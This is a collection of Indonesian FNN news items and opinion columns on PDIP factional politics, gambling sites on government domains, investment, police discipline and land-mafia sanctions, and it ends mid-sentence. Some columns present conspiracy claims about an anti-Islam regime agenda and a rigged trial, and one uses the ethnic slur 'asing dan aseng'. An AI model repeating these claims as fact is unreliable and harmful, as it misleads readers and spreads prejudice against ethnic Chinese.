Oleh Ady Amar *) BABI hutan biasa juga disebut dengan celeng. Dengan bulu hitam, celeng terkesan menjijikkan. Karenanya, sebutan celeng pada pribadi atau entitas tertentu itu menyakitkan. Semacam penyebutan mengecilkan, konotasi negatif. Celeng itu sebutan penghinaan yang disematkan. Tidak satu pun ingin disebut, atau memilih ingin disebut dengan sebutan menjijikkan. Semua menghindar bahkan tidak ingin binatang satu ini ada dalam pikiran, agar tidak sampai kata celeng diucapkan. Akhir-akhir ini kata celeng disematkan pada pendukung Ganjar Pranowo, yang sebenarnya ada dalam tubuh PDIP. Masih dengan KTA PDIP, tapi tampak "melawan" induknya dengan mencalonkan Ganjar Pranowo sebagai Calon Presiden (Capres 2024), padahal DPP PDIP belum menentukan calonnya, baik Capres atau Cawapres. Soal pencalonan itu hak mutlak DPP PDIP. Mereka disebut celeng, seolah mengecilkan pendukung Ganjar, yang padahal tidak sedikit dari mereka adalah tokoh PDIP tingkat Cabang. Bisa disebut FX Hadi Rudyatmo, mantan Wali Kota Surakarta, yang saat ini menjabat sebagai Ketua DPC PDIP Surakarta. Bahkan terang-terangan menunjukkan perlawanan pada induknya, bahwa ia memilih Ganjar Pranowo untuk menggantikan Presiden Joko Widodo (Jokowi). FX Hadi Rudyatmo memang punya jejak gertak-gertak seolah melawan induknya, dan anehnya aman-aman saja. Itu saat pencalonan Gibran Rakabuming Raka menjadi Calon Wali Kota Surakarta, yang tidak melewati DPC Surakarta. Ia marah besar, yang seolah tidak akan berada dalam kubu Gibran. Tapi setelah DPP PDIP mengeluarkan putusan mencalonkan Gibran, yang putra Presiden Jokowi itu, ia bukannya melawan induknya, tapi memilih balik kandang. Saat ini yang dilakukan FX Hadi Rudyatmo dengan gaya seolah melawan induknya, bahwa ia lebih memilih celeng, dan lalu menyerang koleganya Bambang Wuryanto alias Bambang Pacul, seseorang yang memulai menyebut celeng pada pendukung Ganjar. Maka, FX Hadi Rudyatmo sampai perlu membuatkan filosofi celeng, yang disebutnya punya gerakan gesit, dan ia menyukainya. Apa tumon ia berani membela Ganjar Pranowo dengan melawan induknya. Melihat jejak "gertak-gertak" FX Hadi Rudyatmo, yang aman-aman saja tanpa ada sanksi organisasi padanya, tentu menjadi keheranan tersendiri. Karena itu banget bukan tabiat Ibu Megawati Soekarnoputri, Ketua Umum PDIP, yang bisa menoleransi pelanggaran demikian. Kasus "celeng" ini seolah perlawanan terbuka, dan jika tidak ada sanksi dikenakan padanya juga pada pengurus PDIP lainnya di tingkat cabang, maka tidak salah jika analisa muncul, bahwa sebutan celeng itu cuma settingan, satu cara menaikkan elektabilitas Ganjar Pranowo. Seolah ia dizalimi partainya sendiri, dan karenanya mengundang simpati. Strategi Celeng Sebutan celeng yang menjijikkan itu lalu dikooptasi menjadi kekuatan tersendiri. Seolah dalam internal PDIP ada kekuatan perlawanan, dalam hal ini DPP PDIP. Jika DPP PDIP menoleransi munculnya kelompok celeng, itu hal mustahil. Menoleransi menggerogoti kebijakan partai, jika benar, itu seperti "kudeta" dari dalam. Jika pembiaran itu dianggap hal biasa, itu sama saja dengan pembiaran pada kelompok celeng untuk menjadi besar. Hal mustahil yang jauh dari tabiat Ibu Megawati yang tidak menolerir "perlawanan" sekecil apapun pada petugas partainya. Perlawanan terang-terangan kelompok celeng ini bukan masalah kecil, yang itu bisa meruntuhkan wibawa partai. Tampaknya strategi "zalim" yang dikenakan pada Ganjar Pranowo, justru satu cara efektif menaikkan elektabilitasnya untuk nyapres. Ini semacam skenario yang direncanakan, yang pada saatnya bisa "menjual" Ganjar Pranowo sebagai Capres dari PDIP Skenario seolah "benturan" Celeng versus Banteng yang sepertinya memang dicipta. Skenario itu bisa terlihat dengan tidak adanya sanksi keras pada kelompok celeng yang terus bermanuver melawan kebijakan partai. Pantas jika lalu muncul pertanyaan, adakah celeng itu? Lalu, bagaimana dengan kehadiran Puan Maharani yang "dijajakan" dengan tebaran baliho di mana-mana, yang konon akan disandingkan sebagai Cawapres dari Prabowo Subianto. Meski belum pasti, setidaknya Puan dihadirkan seolah berhadapan dengan Capres dukungan celeng. Tapi pada saatnya semua akan mengerucut pada satu nama, sosok yang seolah dizalimi. Setidaknya analisa itu, dan bisa juga analisa lainnya, yang nantinya akan muncul. Dan ujung dari semuanya biasanya akan ditentukan oleh elektabilitas masing-masing calon, yang dikendalikan lembaga survei pesanan. Tidak dipungkiri, banyak lembaga survei yang bermain angka sesuai dengan pemesannya. Soal menaikkan dan merontokkan elektabilitas kandidat tertentu, itu bukan perkara sulit. Maka, edukasi terus-menerus pada publik untuk memilih Capres yang mendekati ideal harus terus diberikan, jika ingin pergantian kepemimpinan nasional ini bermakna. Satu hal yang pasti, bahwa opini baik dan buruk akan terus dimunculkan mengaduk-aduk sukma publik, tentu dengan intensitas tinggi sampai pada waktunya: 2024. (*) *) Kolumnis

Pakar: Mafia Judi Online Manfaatkan Domain go.id Agar Tidak Diblokir

Semarang, FNN - Pakar keamanan siber dari CISSReC Doktor Pratama Persadha mengungkapkan latar belakang mafia judi online memanfaatkan domain go.id karena mereka beranggapan alamat situs web resmi lembaga pemerintahan pusat dan daerah ini tidak akan ada pemblokiran. "Kenapa mereka menggunakan situs go.id? Karena mereka ingin agar situs yang digunakan judi online tidak diblokir oleh Pemerintah, dalam hal ini Kementerian Komunikasi dan Informatika (Kominfo)," kata Pratama melalui percakapan WhatsApp kepada ANTARA di Semarang, Rabu. Hal itu dikemukakan Pratama terkait dengan rilis Badan Siber dan Sandi Negara (BSSN) bahwa sebanyak 291 situs web di pemerintahan yang diretas oleh mafia judi online. Bahkan, sampai hari ini masih banyak situs resmi, baik itu go.id maupun ac.id (domain akademi), yang masih disusupi oleh situs-situs judi ini. Menurut Pratama, pemblokiran situs-situs enggak jelas itu gampang sekali. Akan tetapi, ketika situs pakai domain go.id diblokir, seluruh sistem di domain tersebut akan terblokir, yang akan berimbas pada pelayanan akan terganggu. "Namun, ini semata-mata bukan karena pemilik judi online ini pinter hacking (peretasan). Bisa jadi keamanan web tersebut sangat lemah sehingga orang lain bisa memanfaatkannya untuk mengambil alih beberapa link-nya untuk situs judi online," kata Pratama. Ketua Lembaga Riset Siber Indonesia CISSReC ini mengutarakan bahwa keamanan siber tidak hanya menjadi tanggung jawab orang teknologi informasi dan admin, tetapi tanggung jawab semua orang yang ada dalam satu organisasi. Ia mencontohkan situs web milik pemerintahan daerah mulai kepala daerahnya sampai office boy-nya harus mengerti bagaimana mereka bertindak dan berperilaku sehingga mereka ikut menjaga keamanan siber yang ada di pemda. Sebaliknya, lanjut dia, pimpinan juga harus tahu bahwa mereka itu adalah target peretasan. Mereka harus tahu bahwa keamanan itu perlu perlakuan yang lebih. Ketika pemimpin menegaskan bahwa pengamanan siber atau pengamanan informasi itu adalah prioritas, mereka akan bertindak sebaik-baiknya supaya sistem organisasinya itu benar-benar aman. Misalnya, tidak menempel password wifi sembarangan di tembok, tidak menempel username password di layar komputer, dan membatasi akses terhadap orang-orang yang tidak punya hak untuk masuk ke ruang yang ada komputernya/ruang server. Ketika terjadi celah keamanan atau terjadi peretasan, menurut Pratama, sebenarnya yang salah bukan orang IT-nya, atau kemungkinan orang IT dan admin lengah atau tidak aware. "Akan tetapi, itu diakibatkan oleh pimpinannya yang tidak aware. Kalau aware, pasti diperintahkan kepada karyawannya untuk amankan secara maksimal," kata pria asal Cepu, Kabupaten Blora, Jawa Tengah ini. (mth)

Alumni Polbangtan Medan Sukses Kembangkan Produk Herbal

Medan, FNN - Armila Fazri Nasution, seorang alumni Politeknik Pembangunan Pertanian (Polbangtan) Medan, sukses menjalani usaha bidang pengolahan rempah dan herbal di bawah Najah Grup yang ia dirikan. Najah Group menjadi salah satu UKM Desa Siundol Julu, Kecamatan Sosopan, Kabupaten Padang Lawas, Sumatera Utara, yang didukung oleh generasi muda sebagai motor penggerak. Fokus pada pengolahan kulit kayu manis menjadi beberapa produk turunannya, Armila Fazri Nasution selaku ketua Najah Grup, Rabu, menjelaskan sebagai generasi milenial yang punya mimpi menjadi millenial agropreneur mendasari tekad membangun usaha dari hasil pertanian desa. "Karena desa adalah masa depan bagi bangsa jika serius mengurusnya dan pertanian adalah ujung tombaknya. Oleh karena itu, kami terus melakukan upaya untuk mengembangkan usaha ini," katanya. Ia berharap Najah Groub adalah solusi untuk membantu petani menciptakan produk unggulan daerah khususnya rempah sehingga mampu bersaing di pasar global. "Sesuai dengan visi kami menjadi unit usaha padat karya terbaik dalam menghasilkan rempah- rempah dari potensi hasil pertanian daerah," katanya. Sementara untuk pemasarannya, Najah Group menjaring mitra pemasok dengan sistem reseller yang saat ini sudah mencapai 20 tersebar di beberapa wilayah. Ia juga menjalin kerjasama dengan beberapa toko obat, seperti toko obat Fauzan yang berlokasi di kota Padang Siideimpuan, toko obat Islami yang berlokasi di Pekanbaru, dan tentunya juga pemasaran pada pasar lokal yakni dengan memasok pada warung-warung di perkampungan sekitar lokasi usaha. "Kami juga membidik pemasaran online baik melalui medsos maupun market place seperti tokopedia serta mastore Indonesia," katanya. (mth)

Indonesia Tawarkan Tiga Proyek Investasi Sektor Energi dalam IJBF

Jakarta, FNN- Pemerintah Indonesia menawarkan tiga proyek investasi dalam sektor energi terbarukan kepada pelaku usaha Jepang dalam Indonesia-Japan Business Forum (IJBF) ke-2. Ketiga proyek tersebut adalah Refuse Derived Fuel Plant Bantar Gebang yang dikelola oleh Pemprov DKI Jakarta, Minihydro Power Plant di Banyumas dan proyek Waste-to Energy di Semarang. Duta Besar RI untuk Jepang Heri Akhmadi dalam pernyataan yang diterima di Jakarta, Rabu, mengatakan tiga proyek ini telah dikurasi secara clean and clear oleh Bank Indonesia dan Kantor perwakilan BKPM di Tokyo. Ia memastikan KBRI Tokyo akan terus mendorong kerja sama konkret di sektor energi terbarukan untuk lebih memperkuat komitmen bilateral Indonesia-Jepang. "Kami mendorong terus terjalinnya kerja sama konkret di sektor energi terbarukan untuk mempercepat transisi energi yang telah dicanangkan kedua negara," katanya. Dalam kegiatan IJBF ke-2 bertemakan "Peluang Kerja Sama di Sektor Energi Baru dan Terbarukan" yang berlangsung secara virtual ini ikut hadir Gubernur Bank Indonesia Perry Warjiyo sebagai pembicara. Selain itu, forum yang didukung sejumlah organisasi dan asosiasi bisnis seperti Japan Indonesia Association (JAPINDA) dan Jakarta Japan Club (JJC) ini dihadiri Direktur Jenderal Energi Baru Terbarukan dan Konservasi Energi (EBTKe) Kementerian ESDM Dadan Kusdiana dan Kepala Kantor BI Tokyo Hilman Tisnawan. Perry Warjiyo mengungkapkan saat ini merupakan waktu yang tepat untuk berinvestasi di Indonesia, mengingat kondisi perekonomian mulai membaik dengan pertumbuhan mencapai 7,07 persen pada triwulan II-2021. "Berbagai kebijakan moneter dan fiskal juga telah diterapkan guna mendukung transisi ke ekonomi hijau, antara lain melalui green sukuk yang dikeluarkan sejak 2018," katanya. Dalam kesempatan serupa, Dirjen EBTKe Kementerian ESDM Dadan Kusdiana menegaskan kembali komitmen Pemerintah Indonesia untuk pencapaian target carbon neutral pada 2060 melalui Grand Strategi Energi Nasional. Kegiatan IJBF ke-2 ini juga dihadiri oleh lebih dari 200 peserta dari kalangan bisnis Jepang. Kegiatan dilanjutkan dengan pertemuan 1 on 1 untuk menjelaskan skema kerja sama secara lebih detail dengan sejumlah investor Jepang. (mth)

Wamen BUMN II Berharap Holding UMi Percepat Literasi Keuangan Pedesaan

Jakarta, FNN - Wakil Menteri (Wamen) BUMN II Kartika Wirjoatmodjo berharap kehadiran Holding Ultra Mikro (UMi) dapat mengakselerasi literasi keuangan masyarakat pedesaan. "Adanya Holding Ultra Mikro juga diharapkan dapat mengakselerasi literasi keuangan melalui layanan yang inklusif, terutama bagi masyarakat di pedesaan," ujar Wamen BUMN II yang akrab disapa Tiko itu dalam keterangan tertulis yang diterima di Jakarta, Rabu. Wakil Menteri BUMN II melakukan kunjungan ke Co-Location holding BUMN UMi Bogor yaitu Sentra Layanan Ultra Mikro (Senyum) yang terletak di Cipayung, Bogor, Jawa Barat. Dalam kunjungan tersebut, Tiko menuturkan bahwa tujuan utama kunjungan ini adalah untuk memastikan bahwa Program Senyum berjalan dan memberikan manfaat dan kemudahan untuk nasabah BRI, Pegadaian, dan Permodalan Nasional Madani (PNM). Di samping itu Tiko juga berdialog dengan para Account Officer (AO) dan juga nasabah PNM Cipayung untuk memberikan beberapa nasihat dan motivasi untuk selalu bersemangat selama pandemi. Program Senyum merupakan implementasi holding UMi dalam memanfaatkan jaringan atau yang disebut co-location. Saat ini, kantor Senyum Cipayung sudah dilengkapi dengan loket Pegadaian di sebelah loket teller BRI. Ada juga loket PNM yang menjadi tempat para AO PNM Mekaar melakukan setoran setelah berkeliling mengumpulkan cicilan secara kolektif dari para nasabah PNM. Sebagai informasi, hingga 18 Oktober 2021 PNM telah menyalurkan pembiayaan sebesar Rp94,1 triliun kepada nasabah PNM Mekaar yang berjumlah 10,8 juta nasabah. Saat ini PNM memiliki 3.673 kantor layanan di seluruh Indonesia yang melayani UMK di 34 provinsi, 443 kabupaten/kota, dan 5.006 kecamatan. (mth)

Presiden Minta Apkasi Tunjukkan Iklim Investasi Daerah Makin Baik

Jakarta, FNN - Presiden RI Joko Widodo meminta Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi) menunjukkan iklim investasi di daerah makin baik melalui penyelenggaraan Apkasi Otonomi Expo Tahun 2021. "Dalam expo ini saya harapkan daerah bukan hanya menunjukkan produk dan objek-objek wisatanya, melainkan juga menunjukkan bahwa iklim investasi di daerah-daerah kita ini makin baik," ujar Presiden dalam sambutannya pada pembukaan Apkasi Otonomi Expo Tahun 2021 dari Istana Kepresiden Bogor, Jawa Barat, Rabu. Kepala Negara menyampaikan Apkasi melalui penyelenggaraan Apkasi Otonomi Expo Tahun 2021 harus menunjukkan bahwa kepastian hukum dan kemudahan perizinan makin membaik, serta online single submission (OSS) sudah berjalan baik. Ditekankan pula bahwa kepastian tersebut yang sebetulnya diperlukan oleh dunia usaha. "Dengan cara ini, diselenggarakan expo ini, juga kita harapkan bisa meningkatkan investasi di daerah dan mempercepat, membuka lapangan-lapangan kerja baru bagi masyarakat, dan menggerakkan ekonomi daerah," kata Presiden. Sementara itu, Ketua Umum Apkasi Sutan Riska Tuanku Kerajaan menyampaikan terima kasih atas kesediaan Presiden membuka Apkasi Otonomi Expo Tahun 2021. Bagi Apkasi, menurut dia, langkah Presiden merupakan bentuk dukungan kepada daerah dan pelaku usaha daerah serta nasional untuk berkembang dan saling terhubung satu sama lain. Sutan menilai Apkasi Otonomi Expo Tahun 2021 istimewa karena tidak sekadar memenuhi tantangan ekonomi global yang kian tajam, tetapi juga penyelenggaraannya pada masa pandemik COVID-19 yang harus terus mewaspadainya. Apkasi, kata dia, hendak berperan bersama pemerintah berjuang membangkitkan ekonomi nasional pada masa sulit, salah satunya melalui Apkasi Otonomi Expo Tahun 2021. Apkasi Otonomi Expo pada tahu ini, lanjut dia, tawarkan peluang investasi berbentuk produk-produk daerah yang berpotensi untuk dikembangkan dan diperdagangkan. Sutan lantas menyebutkan produk tersebut, yaitu berupa pengolahan pakan ternak, produksi ikan tangkap dan budi daya perikanan, pembangkit listrik tenaga mikrohidro, peluang investasi, pengembangan objek wisata, agrowisata, pembangunan hotel dan resort, serta industri hilir kelaoa sawit dan karet. (mth)

Anggota DPR: Sikap Tegas Kapolri Jadikan Polri Makin Profesional

Jakarta, FNN - Anggota Komisi III DPR RI Sarifuddin Suding menilai sikap tegas Kapolri Jenderal Pol. Listyo Sigit Prabowo terhadap anggotanya ketika melanggar aturan merupakan bukti kesungguhannya menjadikan Polri makin profesional dan berkeadilan. Oleh karena itu, Suding mengapresiasi kebijakan Kapolri yang menginstruksikan seluruh jajarannya dan kepala satuan wilayah (kasatwil) untuk memberikan tindakan tegas kepada oknum anggota Polri yang melanggar aturan saat menjalankan tugas. "Sikap tegas Kapolri sungguh sangat luar biasa. Ini membuktikan bahwa Kapolri sungguh-sungguh ingin membawa Kepolisian Negara RI sebagai polisi yang profesional dan berkeadilan," kata Sarifuddin Suding kepada ANTARA di Jakarta, Rabu. Suding menilai kebijakan Kapolri itu membuktikan bahwa Jenderal Pol. Listyo menginginkan Polri menjadi institusi yang responsif atas berbagai masukan bersifat konstruktif untuk membangun kepolisian. Hal itu, menurut dia, agar Polri mendapat kepercayaan publik dan dukungan masyarakat. Oleh karena itu, sikap keterbukaan Polri tersebut patut diberikan apresiasi dan penghargaan. Ia meyakini Divisi Profesi dan Pengamanan (Propam) serta Pengamanan Internal (Paminal) Polri akan mengawasi setiap kebijakan Kapolri agar berjalan hingga tingkat bawah. "Struktur internal Propam dan Paminal Polri akan melakukan pengawasan atas setiap kebijakan Kapolri agar benar-benar dilaksanakan anggota Kepolisian Negara RI," ujarnya. Sebelumnya, Kapolri Jenderal Pol. Listyo Sigit Prabowo menginstruksikan kepada seluruh jajarannya dan kepala satuan wilayah (kasatwil) untuk memberikan tindakan tegas kepada oknum anggota kepolisian yang melanggar aturan saat menjalankan tugas. "Perlu tindakan tegas, jadi tolong tidak pakai lama, segera copot, PTDH, dan proses pidana. Segera lakukan dan ini menjadi contoh bagi yang lainnya. Saya minta tidak ada kasatwil yang ragu. Apabila ragu, saya ambil alih," kata Sigit dalam arahannya kepada jajaran melalui Vicon di Mabes Polri, Jakarta Selatan, Selasa (19/10), dikutip dalam keterangan tertulis Divisi Humas Polri. Dalam video konferensi dengan seluruh jajarannya, Sigit menekankan kepada seluruh kapolda dan kapolres untuk tidak ragu memberikan sanksi tegas berupa pidana atau pemberhentian tidak dengan hormat (PTDH) kepada personelnya yang tidak menjalankan tugas sesuai dengan aturan. Menurut dia, perbuatan oknum anggota kepolisian yang menyalahi aturan telah merusak muruah institusi Polri. Selain itu, telah mencederai kerja keras dan komitmen personel Korps Bhayangkara yang telah bekerja maksimal untuk masyarakat. (mth)

Menggeser-geser Libur Hari Raya Islam ke Hulu, Menggusur-gusur Aqidah Kemudian

Oleh: Yusuf Blegur Betapa pun sekuler dan liberalnya pemerintahan Indonesia sebelumnya. Serepesif-represifnya rezim kekuasaan yang pernah ada. Baru sekarang ini ada yang mengutak-atik apalagi sampai mengubah waktu libur Peringatan Hari Besar Islam. Bahkan sejak Indonesia merdeka dimana mainstream pertentangan negara Islam dan negara Pancasila mengemuka. Tidak ada presiden Indonesia dan kabinetnya mengurusi perubahan hal-hal baku dan prinsip yang menjadi bagian dari keyakinan satu agama. Hanya di bawah rezim kekuasaan Jokowi dan kementerian agama RI sekarang. Tahun ini sudah dua kali merubah jadwal libur Hari Raya umat Islam. Pertama libur peringatan Tahun baru Islam yang bertepatan dengan 1 Muharam atau kalender masehi tanggal 10 Agustus 2021, diubah menjadi tanggal 11 Agustus 2021. Kemudian yang kedua, saat umat Islam merayakan Peringatan Maulid Nabi Muhammad Shallallahu Alaihi Wasalam pada 12 Rabiul Awal yang jatuh pada tanggal 19 Oktober 2021, kembali diubah hari liburnya tanggal 20 Oktober 2021. Sesederhana dan asal saja alasannya karena takut menumpuknya keramaian liburan saat pandemi. Manuver kebijakan yang mengusik umat Islam, namun hal yang sama tidak dilakukan pada peringatan hari besar agama lain atau acara hari kenegaraan. Sekadar politisasi Islam yang biasa dilakukan, atau ada agenda lain terselubung?. Menarik juga untuk ditelisik. Siapa yang selama ini melakukan politisasi Islam atau membangun narasi Islam politik?. Lebih dalam lagi, siapa di belakang dan yang mendesain aksi-aksi Islamophobia?. Sementara seiring waktu umat Islam selalu menjadi langganan stigma dan stereotif dari propaganda, framing dan rekayasa busuk kekuasaan yang anti Islam. Tidak sedikit produk aturan dan kebijakan yang dikeluarkan Kementerian Agama RI yang dianggap nyeleneh dan menyimpang. Mulai dari polemik penggunaan dana haji umat untuk pembiayaan infra struktur. Hingga kontroversi saat mengumumkan pembatalan pemberangkatan jamaah haji karena pandemi dengan biaya fantastis sebesar 21 miliar. Angka yang sangat besar cuma untuk bercuap-cuap. Seterusnya pelbagai himbauan dan keputusan menteri agama yang kental dengan muatan liberalisasi dan sekulerisasi agama, khususnya Islam. Menteri agama yang seorang muslim itu, juga pernah mengatakan bahwa ia tidak ingin populisme Islam berkembang luas. Bagai tak punya hati, seorang muslim berbicara tentang agamanya sendiri seperti itu, hanya karena jabatannya. Mungkin saja pemerintahan Jokowi menganggap mengganti jadwal hari libur Peringatan Hari Besar Islam (PHBI). Merupakan sesuatu yang biasa saja. Jokowi atau pesuruhnya yang menteri agama itu menilai lumrah dan wajar. Mungkin dalam pikirannya, cuma perubahan hari dan sesuatu yang tidak prinsip atau syar'i. Kalaupun rezim tendensius dan punya "hidden agenda". Toh, kekuasan mereka yang punya. Tak ada yang bisa mencegah. Tidak perlu ada kelonggaran demokrasi. Tak ada tempat untuk keadilan. Siapapun yang berbeda, menggangu dan apalagi sampai bertentangan, tinggal dibungkam. Digebuk atau dihilangkan suara dan eksistensinya. Demi kelanggengan kekuasaan dan kepuasaan menikmati materi dan kehidupan duniawi. Sepertinya rezim ini lupa dan khilaf permanen, bahwasanya mereka telah bermutasi menjadi tirani. Khawatir melanjutkan kekaisaran Raja Firaun di Mesir klasik. Atau bisa saja menjadi pemerintahan Kemal At-Taturk di Turki awal abad 19. Kedua contoh pemimpin dunia yang identik dzalim dan lalim. Fundamental dan Radikal Mereduksi Islam Upaya-upaya yang terus-menerus secara terorganisir, masif dan sistematik terhadap liberalisasi agama. Semakin kentara dilakukan pemerintah bersama kekuatan-kekuatan organisasi masa dan tokoh-tojoh agama tertentu. Islam secara intensif direkayasa dan dipaksa memasuki ruang kebebasan tanpa batas. Meninggalkan ketentuan-ketentuan dasar yang prinsip dan menjadi syariat. Atas nama pluralitas dan moderasi, Islam secara halus mengalami penggusuran kemurniannya. Pelemahan dan penghancuran umat Islam telah mengalami diskursus dan observasi panjang. Oleh kalangan penganut kapitalisme dengan ujung tombak faham sekuler dan liberal. Serta ideologi komunis yang bersandar pada atheisme. Keduanya menempatkan Islam sebagai doktrin dan ajaran menjadi hambatan dan penghalang terbesar dalam melakukan dominasi dan hegemoni terhadap dunia. Sementara kedua ideologi yang bersumber pada pemikiran manusia itu, selain menempatkan agama Islam sebagai ancaman, dilain sisi mereka menganggap umat Islam sebagai pasar yang potensial. Indonesia sendiri dibawah kepemimpinan rezim Jokowi secara ekspresif dan vulgar sering melakukan kriminalisasi para ulama dan habaib. Juga tokoh pergerakan aktifis Islam dan demokrasi. Ada kekuatan gelap yang terselubung menyusun skenario ekstrim Deislamisasi. Tanpa malu dan bangga menunjukan permusuhan dan kebencian terhadap Islam. Indonesia sebagai negara dengan mayoritas umat Islam terbesar di dunia. Jangan tanya soal keberlimpahan kekayaan alam. Ditambah lagi dengan keunggulan wilayah pada aspek geostrategis dan geopolitis. Posisi yang demikian itu sangat menentukan dalam jalur interaksi dan kerjasama internasional. Dengan demikian, Indonesia bersama umat Islamnya menjadi keniscayaan dan keharusan untuk dikuasai baik oleh kepentingan global maupun kemitraan negara strategis. Dengan cara apapun, melalui aneksasi ekonomi, infiltrasi politik dan ideologi atau bahkan kalau perlu dengan agresi dan kolonialisasi. Betapa pedih dan memilukan, negeri dengan kepantasan sejahtera, adil dan makmur. Namun kenyataanya miskin dan terbelakang. Bercermin dari fragmentasi dan realitas itu. Sesungguhnya Indonesia bukan saja telah mengalami marginalisasi UUD 1945 dan Panca Sila dalam praktek-praktek kehidupan bernegara dan berbangsa. Lebih dari itu secara agresif dan spartan, moncong senjata telah memuntahkan peluru tajam mengoyak-ngoyak Islam dan umatnya. Mengendalikan umat Islam berarti equivalen dengan menguasai secara keseluruhan NKRI. Tentunya oleh asing dan aseng. Entah salah satu atau keduanya dimana bisa dipastikan semuanya bukan orang Indonesia asli. Oleh karena itu, sepertinya cuma ada dua pilihan yang bisa dilakukan rakyat Indonesia. Pertama, menyerahkan nasibnya kepada rezim pemerintahan yang menguasai negara. Pilihan ini menjadi sangat sulit. Menyadari sampai saat ini pemerintah tidak menunjukan tanda-tanda perbaikan dan penyelamatan negara. Justru terjadi kecenderungan pemerintah telah melakukan "crime of state". Aparatur pemerintahan abai dan cenderung menindas rakyatnya. Kedua, ini pilihan yang amat berat dan penuh resiko. Rakyat dalam hal ini umat Islam. Harus berani "Menggugat Indonesia" yang terlena dalam cengkeraman nekolim. Layaknya Soekarno yang menyampaikan "Indonesia Menggugat" di hadapan pemerintah Hindia Belanda pada masa pergerakan kemerdekaan. Islam yang menjadi janin dan roh kelahiran NKRI. Dituntut untuk bangkit dari proses destruktif yang dialami umat Islam. Paling utama dan mendesak adalah menjaga dan merawat ukuwah Islamiyah. Gencarnya upaya pembelahan sosial dan politik adu domba dikalangan umat Islam harus segera ditangani oleh umat Islam sendiri. Mau tidak mau, suka tidak suka, sebelum bicara hal-hal progressif lainnya tentang Islam. Hanya dengan persatuan dan kesatuan umat Islam. Perbaikan dan kemajuan umat Islam, negara dan bangsa Indonesia dapat diraih. Karena mewujudkan Islam sebagai agama Rahmatan Lil A'lamin, merupakan ikhtiar bersama termasuk di dalamnya NKRI dan seluruh dunia. Pada akhirnya, semoga geser-menggeser hari raya umat Islam tidak diikuti gusur-menggusur aqidah umat Islam. Wallahu a'lam bishawab. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Tipu-tipu di Pengadilan 6 Laskar FPI

By M Rizal Fadillah PENGADILAN atas pembunuhan 6 anggota Laskar FPI mulai digelar 18 Oktober 2021 di Pengadilan Negeri Jakarta Selatan. Dua terdakwa yang dihadapkan di meja hijau adalah Briptu Fikri Ramadhan dan Ipda M Yusmin Ohorella. Hakim Ketua yang mengadili yaitu M Arif Nuryanta dengan anggota Haruno dan Elfian. JPU Zet Tarung Allo membacakan dakwaan atas delik pembunuhan dan penganiayaan dengan Pasal 338 KUHP Jo Pasal 55 ayat (1) KUHP Jo Pasal 351 ayat (3) KUHP. Bagi yang mengikuti dan mendalami peristiwa 7 Desember 2020 tersebut tentu bakal menyimpulkan bawa peradilan yang dilaksanakan saat ini adalah bagian dari rekayasa kasus. Tipu-tipu hukum. Ada beberapa alasan untuk itu, yaitu : Pertama, terdakwa hanya dua anggota kepolisian Metro Jaya. Meskipun satu dinyatakan meninggal, namun pembunuhan dan penganiayaan terhadap enam anggota Laskar FPI dipastikan melibatkan banyak personal baik pelaku (pleger), penyerta (medepleger) maupun yang menyuruh (doenpleger). Adapula penganjur (uitlokker). Kedua, pembunuhan dan penganiayaan dengan kondisi jenazah yang mengenaskan adalah kejahatan yang sangat keji. Pembunuh seperti ini tidak boleh dibiarkan bebas berkeliaran. Nyatanya kedua terdakwa bukan hanya tidak ditahan, tetapi terkesan justru mendapat perlindungan yang luar biasa. Ketiga, dalam dalam dakwaan Jsksa Penuntut Umum, pembunuh itu hanya polisi penumpang dari mobil K 9143 EL (menembak mati 2 laskar) dan B 1519 UTI (membunuh 4 laskar), padahal yang terlibat faktanya lebih dari dua mobil. Mengapa jaksa menyembunyikan penumpang mobil B 1839 PWQ dan B 1278 KJL ? Begitu juga mobil "komandan" Land Cruiser. Komnas HAM merekomendasi untuk membuka kedok siapa penumpang 3 mobil yang diduga kuat terlibat tersebut. Keempat, peristiwa pembunuhan itu berawal penguntitan dan pembunuhan artinya terencana, oleh karenanya pembunuhan ini harus dapat dikualifikasi sebagai pembunuhan berencana, Pasal 340 KUHP semestinya didakwakan pula. Ancaman bagi pelaku menurut Pasal ini adalah pidana mati atau seumur hidup. Kelima, peristiwa ini di samping di awali pembuntutan atau penguntitan juga berdasarkan adanya 3 (tiga) Surat Tugas. Konsekuensinya adalah atasan kedua tersangka di Polda Metro Jaya harus ditarik sebagai tersangka. Dengan awal penguntitan dan Surat Perintah maka ada upaya sistematik. Artinya ini adalah pelanggaran HAM berat yang mesti diadili oleh Pengadilan HAM sebagaimana diatur dalam UU No 26 tahun 2000 tentang Pengadilan HAM. Pengadilan pidana biasa di PN Jakarta Selatan dapat menjadi peradilan sesat atau peradilan tipu-tipu. Banyak pihak yang dilindungi dalam kasus ini. Kedua tersangka adalah dua anggota polisi yang memang sengaja dikorbankan. Meskipun demikian meski saat ini rezim melalui proses peradilan dapat bersandiwara akan tetapi kelak jika berganti bukan hal yang tidak mungkin kasus yang telah dianggap selesai pada peradilan tipu-tipu ini akan dibuka kembali. Allah SWT tidak tidur dan tidak pernah berpihak pada kaum yang zalim. *) Pemerhati Politik dan Kebangsaan

125 Pegawai BPN Terlibat Mafia Tanah

Jakarta, FNN -- Kementerian ATR atau Badan Pertanahan Nasional (BPN) menjatuhkan hukuman kepada 125 pegawai yang terlibat dalam kasus mafia tanah. Hukuman itu diberikan sebagai bentuk pembinaan. Inspektur Jenderal Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional Sunraizal mengatakan Inspektorat Bidang Investigasi menindak tegas dan mendisiplinkan pegawai yang terkait dengan kasus mafia tanah. "Antusiasme masyarakat sangat tinggi. Ini dapat dilihat dari 732 pengaduan," ucap Sunraizal, dilansir dari Antara, Selasa (19/10). Dari laporan itu, Inspektorat Bidang Investigasi menghukum 125 pegawai Kementerian ATR/BPN karena terlibat dengan kasus mafia tanah. Menurut Sunraizal, pengaduan masyarakat meningkat semenjak ada Inspektorat Bidang Investigasi di Kementerian ATR/BPN. Pengaduan ini terbagi dalam beberapa bentuk. Pertama, pengaduan penyalahgunaan wewenang sebanyak 17 kasus. Kedua, pengaduan terkait masalah pelayanan masyarakat sebanyak 201 kasus. Ketiga, pengaduan korupsi atau pungutan liar sebanyak 11 kasus. Keempat, pengaduan kepegawaian atau ketenagakerjaan sebanyak tiga kasus. Sunraizal menyebutkan pengaduan paling banyak terkait sengketa, konflik, dan perkara pertanahan, yakni 493 kasus. Dari pengaduan itu, Inspektorat Bidang Investigasi telah menangani 162 kasus. "Semua 